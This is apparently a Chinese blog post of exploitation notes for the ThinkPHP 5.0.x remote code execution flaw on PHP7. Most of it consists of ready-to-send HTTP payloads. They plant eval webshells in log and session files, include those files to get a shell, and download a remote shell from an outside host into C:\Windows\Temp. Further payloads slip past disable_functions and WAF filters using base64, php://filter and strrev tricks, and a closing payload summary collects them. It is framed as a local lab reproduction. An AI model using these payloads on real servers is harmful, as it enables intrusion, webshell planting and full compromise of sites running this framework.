ThinkPHP5.0.X RCE PHP7 利用方式

这篇笔记分类总结了在 php7 并且有 disable_funtion 或waf 的环境下如何利用 thinkphp5.0.x 的 rce。第六节只归纳出打印 phpinfo 或执行 calc 的 payload,详细写 shell 的 payload 根据不同的过滤强度记录在 3.1、3.2、3.3、4.1、4.2 小节的复现过程中。笔记参考了很多师傅的博客,只是自己理顺思路、复现漏洞的记录,所有参考文章已贴在最后。(这篇随笔就是上篇搭环境提到的学长的任务)

 

一、实验环境

 

二、基本流程分析

thinkphp5.0.5 和 thinkphp5.0.22 的代码在基本流程上没有区别,这里以 5.0.22 版本为例进行代码分析,由于 thinkphp 框架的请求都先经过 public/index.php,index.php 首先定义了 APP_PATH 常量,是 application 文件夹的路径,接着包含了框架引导文件 start.php

 

跟进 start.php,包含了一个 base.php 加载基础文件,然后调用 App::run()->send() 来执行应用

 

跟进 base.php,先是定义了一些 thinkphp 中用到的常量,然后载入 Loader 类、加载环境变量配置文件、注册自动加载、注册错误和异常处理机制、加载惯例配置文件

 

跟进注册自动加载的 register 函数

 

接着跟进 Loder::autoload() 函数,关键代码在 82 行的 findFile($class) 函数查找类,85 行的 __indlue__file($file) 将找到的文件包含进来实现自动加载

 

所以在 thinkphp5.0.x+php7 的实战环境下,当 disable_function 限制了大量函数的时候,可以调用 Loader.php 中的 __include__file 来包含一些日志文件或者 session 文件来 getshell。

 

三、包含日志getshell

3.1本地复现(5.0.5)

thinkphp5.0.5 环境下复现,打印 phpinfo

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

 

写 shell 到日志文件中

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST['apple']); ?>

 

包含日志文件 getshell

/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=phpinfo();

 

但是由于一句话和日志混在一起的,日志基本很大,还可能写入令 php 解析错误的垃圾数据,所以通过一句话 copy 新一句话文件

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=echo copy("https://www.xxx.com/1.txt","D:/Major/phpstudy_pro/WWW/thinkphp_5.0.5_full/ant.php");

 

但是如果有严格的安全限制,比如不能含有 eval 等、日志文件很快被覆盖、网站目录被设置防篡改无法写入文件,这时的思路是,把一个远程 shell 写入可写目录,再去包含真正的 shell,即可绕过。首先在远程开一个 httpserver,加一层 url 编码防止被拦截,把 shell 写入 C:\Windows\Temp 目录

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=file_put_contents(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70%5C%61%6E%74"),fopen("https://www.xxx.com/1.txt",'r'));

 

查看一下木马,确定成功写入,因为直接 var_dump(scandir('C:\Windows\Temp')) 可能会被拦截,所以借助中间变量绕过

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=$a="var_dump";$a(scandir(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70")));

 

然后再次包含 C:\Windows\Temp\ant

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=C:\Windows\Temp\ant&ant=phpinfo();

 

如果 thinkphp5.0.5 版本不是完整版,没有 captcha 路由,post 地址为 /index.php/index 也可以包含日志 getshell

/index.php/index
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

 

3.2本地复现(5.0.22开启debug)

在 application/config.php 文件中开启 debug

 

打印 phpinfo(这里的 phpinfo 信息不完整)

/index.php/index
_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111

 

读取日志

/index.php/index
_method=__construct&filter[]=readfile&server[REQUEST_METHOD]=../runtime/log/202012/04.log

 

写 shell 到日志文件中

/index.php/index
_method=__construct&filter[]=call_user_func&server[REQUEST_METHOD]=<?php @eval($_POST['cmd']);?>

 

包含日志文件 getshell

/index.php/index
_method=__construct&filter[]=think\__include_file&server[REQUEST_METHOD]=../runtime/log/202012/04.log&cmd=phpinfo();

 

3.3本地复现(5.0.22)

有 captcha 路由时,无需开启 debug 即可 getshell

/index.php?s=captcha
_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111&method=get

 

写 shell 到日志文件中、包含日志文件 getshell 步骤与 3.1、3.2 小节同理,这里就不重复实验了。

 

四、包含session文件getshell

4.1本地复现(简单模式)

经实验 thinkphp5.0.5 和 5.0.22 版本都可以复现,这里以 5.0.5 版本的截图为例,首先找到目标 session 保存的位置,一般在 phpinfo 的 session.save_path 有记录

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

 

写 shell 到 session 中

/index.php?s=captcha
Cookie: PHPSESSID=505test
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['cmd'])?>&server[]=1

 

包含 session 文件 getshell

/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=D:\Major\phpstudy_pro\Extensions\tmp\tmp\sess_505test&server[]=1&cmd=passthru('ipconfig');

 

4.2本地复现(困难模式)

但如果 disable_function 禁用了很多函数,并且有 waf,拦截了以下内容

php标记:
<?php
<?=
<?

php函数:
base64_decode
file_get_contents
convert_uuencode

关键字:
php://

 

绕过 php 标记的思路为,对将要写入 session 文件的一句话木马编码

PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 
<?php @eval($_GET['r']);;?>

 

因为最终的利用是通过 inlcude 方法进行包含,所以想到可以利用 php://filter/read=convert.base64-decode/resource=D:/Major/phpstudy_pro/Extensions/tmp/tmp/sess_505test2 的方式进行解码,但是 session 里面会包含其他字符,谈一谈php://filter的妙用 文章有谈到如何构造合适的字符,使得 webshell 能够正确被 base64 解码。所以设置 session 为

POST /?s=captcha
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1

(注意:

  • 这里的 + 号需要用 urlencode 编码为 %2b,不然会在写入 session 的时候被 urldecode 为空格,导致编码解码失败
  • 用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 解码后为 <?php @eval($_GET['r']);;?> 而不用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= 解码后为 <?php @eval($_GET['r']);?> 的原因是直接使用前者无论怎么拼凑字符,都没法正常解码
  • payload 前后有两个 ab 是为了让 shell payload 的前后两串字符串满足 base64 解码的长度,使其能正常解码

 

绕过 php:// 关键字需要审计源码的 Request.php 的 filterValue 方法是如何执行代码的,/thinkphp/library/think/Request.php 的 $value = call_user_func($filter, $value); 打断点,post 如下数据发现 filter 是可以传递多个的,同时参数为引用传递

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

 

所以可以传递多个 filter 来对 value 进行多次传递处理,如先 base64_decode 后再将解码后的值传递给 include 进行包含,又因为 waf 对 base64_decode 这个函数进行了过滤的,可以多传递一个参数使用 strrev 反转函数绕过

<?php @eval(base64_decode($_GET['r']));;?>
base64:
PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8+
urlencode编码:
PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2b

 

最终用 php://filter、base64 两次编码和 strrev() 反转函数绕过,写 shell 到 session 中

/index.php/?s=captcha
Cookie: PHPSESSID=505test2
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1

 

包含 session 文件 getshell

/index.php/?s=captcha&r=cGhwaW5mbygpOw==
_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=2tset505_sses/pmt/pmt/snoisnetxE/orp_ydutsphp/rojaM/:D=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php

 

五、代码分析

ThinkPHP 5.0.0~5.0.23 Request类任意方法调用导致RCE漏洞分析 分析了漏洞的成因和 poc 的构造,又由于 thinkphp<=5.0.12 和 5.0.12<thinkphp<5.0.24 版本在实现细节上有一些不同,导致漏洞利用方式不同,所以 5.0.13 版本之后通常需要开启 debug 才能 rce,Thinkphp5 RCE总结 列举了各个版本的 rce,比较分析了 5.0.5 和 5.0.22 的版本和 debug 选项的关系。(师傅们是最强的!我再好好学学 php 一定跟一遍!)

 

六、payload总结

thinkphp<=5.0.12 时 payload 如下

/index.php?s=captcha
/index.php/index(无captcha路由)
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

 

5.0.12<thinkphp<5.0.24 并开启 debug 时 payload 如下

?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

 

5.0.12<thinkphp<5.0.24 有 captcha 路由,无需开启 debug 时 payload 如下

?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

 

参考文章

https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&mid=2247484802&idx=1&sn=7db0b7acc809bc312f4ad89a718cd2d7

https://blog.csdn.net/qq_41891666/article/details/109505570

https://www.mrwu.red/web/3348.html

http://www.0x3.biz/tag/ThinkPHP5%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

https://www.cnblogs.com/whoami101/archive/2004/01/13/13364884.html

https://forum.90sec.com/t/topic/704

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://www.cnblogs.com/timelesszhuang/p/3682767.html

https://xz.aliyun.com/t/6106

https://www.smi1e.top/thinkphp-5-0-05-0-23-rce-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

 

posted @ 2020-12-18 17:33  beiwo  阅读(4029)  评论(2编辑  收藏  举报